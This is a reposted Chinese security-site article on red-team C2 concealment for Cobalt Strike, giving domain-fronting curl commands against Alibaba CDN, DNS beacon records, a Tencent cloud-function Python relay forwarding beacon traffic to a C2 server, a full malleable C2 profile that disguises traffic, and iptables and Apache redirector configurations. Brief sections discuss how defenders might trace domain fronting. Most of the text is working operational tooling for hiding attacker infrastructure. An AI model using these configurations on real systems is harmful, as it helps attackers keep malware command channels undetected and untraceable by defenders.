• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

红队APT反朔源隐藏和amp;C2项目和amp;CDN域前置和amp;云函数和amp;数据转和amp;DNS转发

武飞扬头像
今天是 几 号
帮助1

域前置-CDN隐藏C2真实IP 防止被溯源

国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析

什么是域前置

区别于单纯的CDN隐藏IP技术;域前置技术采用高权重域名进行伪装,效果要更上一层楼!
学新通

条件

对自己的域名开启全站加速(DCDN服务),这里我使用的是阿里云
学新通
关于域名解析等琐碎的事情,这里省略了……当然添加SLL证书的话效果会更好
超级ping获得各个节点的ip,选择一个ip进行域名反查,获取其中高信誉的域名(权重高、知名域名)
如图所示新增监听器
学新通
https host header是载荷通信传输命令和结果的请求地址,流量审查的时候,https请求证书的地址为www.百度.com。而实际与cs.whgojp.top进行数据交互

原理

注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方

curl -v -H "host:cs.whgojp.top" https://www.百度.com

意思是请求百度站点,但因为指定了host,所以实际上请求的是同服务器上的cs.whgojp.top站点。
当我们请求一个部署了 CDN 服务的域名时,实际上也默认使用了云厂商内部的解析器。
而云厂商内部的解析器,实际会根据 Header 中的 Host 字段判断回源域名,最后效果是,请求内容以Host字段为准。
学新通
这里可以看到实际返回的结果还是百度的,并没有返回https://cs.whgojp.top上面的请求数据
因为厂商不支持域前置,而且此处的www.百度.com CDN节点ip与我的并不相同。这里只是做演示
那么如果存在域前置的话,这里返回的数据应该和下方请求相同

curl -v host:cs.whgojp.top

cs.whgojp.top代表着我们的恶意站点,www.百度.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。

完整复现

复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了
这里使用的是奇安信态势感知平台进行ip反查域名
学新通
这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施)
这里找到一个不带后缀的域名

curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn	#不知名网站 凑合复现

学新通
成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)
学新通
进行简单上线,抓包分析,成功复现!!!
学新通
而且这里的外联IP和云函数一样不停的在变化。
试想一下:域前置 修改CS profile原生特征(header字段 心跳包频率 ssl证书等) 傀儡机代理 域名不备案(别人的域名) 等等等等
这怎么溯源?
这里简单分析一下上线流量数据包
学新通
这加密后的https啥也看不出来啊……

域前置溯源

前几天面试问到了使用了域前置怎么溯源? emmm
这里拿自己生成的样本payload进行简单溯源
条件:样本Payload,
学新通
通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host
1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。
2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。
3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。

节选自:https://www.anquanke.com/post/id/260888#h2-10

DNS协议-域名记录解析

1、域名解析设置A,NS记录

ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs  A  xx.xx.xx.xx(CS的IP)

学新通

2、CS监听器-DNS
Beacon DNS
DNS地址配置:

ns1.xxx.com
ns2.xxx.com

学新通

3、执行后checkin唤醒
学新通
这个DNS上线早在内网渗透过程中已经做过相关解释
学新通

云函数-腾讯云操作

1、创建云函数
腾讯云-云产品-云函数-函数服务-新建
2、创建函数服务
选择从头开始-函数类型选择事件函数-函数名称任意-
运行环境选择python3.6-并复制如下代码并修改CS的IP-点击完成

#-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://XXXX'  # 修改为自己C2服务器地址
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2 path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2 path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response
学新通

3、创建触发器
触发方式选择API网关触发-勾选启用集成响应-点击提交
4、配置触发器
点击API服务名对触发器进行配置
将路径修改为/,然后点击立即完成
5、配置profile文件-触发URL

set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
学新通

学新通
这里不做云函数相关配置演示
6、启动CS加载profile

./teamserver IP 密码 xxx.profile

7、CS新添监听器
学新通
以该监听器生成后门进行上线有一个有意思的特点就是external IP 不停的在变化(而且都是腾讯云的IP)

云函数隐藏真实IP上线

这里使用火绒剑看下上线主机外联IP
学新通
这里可以看下,上面是使用云函数上线的后门(连接腾讯云下某ip),下面是未使用云函数的后门(正常连接恶意服务器)
查一下该IP归属175.24.155.20
学新通
成功隐藏自己真实IP,因为IP不停的在变化,即使封掉该IP也会有其他节点IP进行上线
毕竟使用云函数服务是需要Money的emmm
学新通
腾讯云后台云函数API调用数据

云函数如何溯源

最近面蓝护,学到什么都要想一想怎么溯源
篇幅过长,放在了下篇文章了……

端口转发-Iptables

1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward  =1

学新通
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146
学新通
上线之后,其实只是做了一个简单的流量转发,IP封掉就下线
学新通

中间件反向代理-Apache

1、代理机安装Apache:

apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

2、中间件设置转发:

http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务

service apache2 restart

4、CS监听器配置转发机IP
学新通

可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰

注:

如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。
请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhifkfbe
系列文章
更多 icon
同类精品
更多 icon
继续加载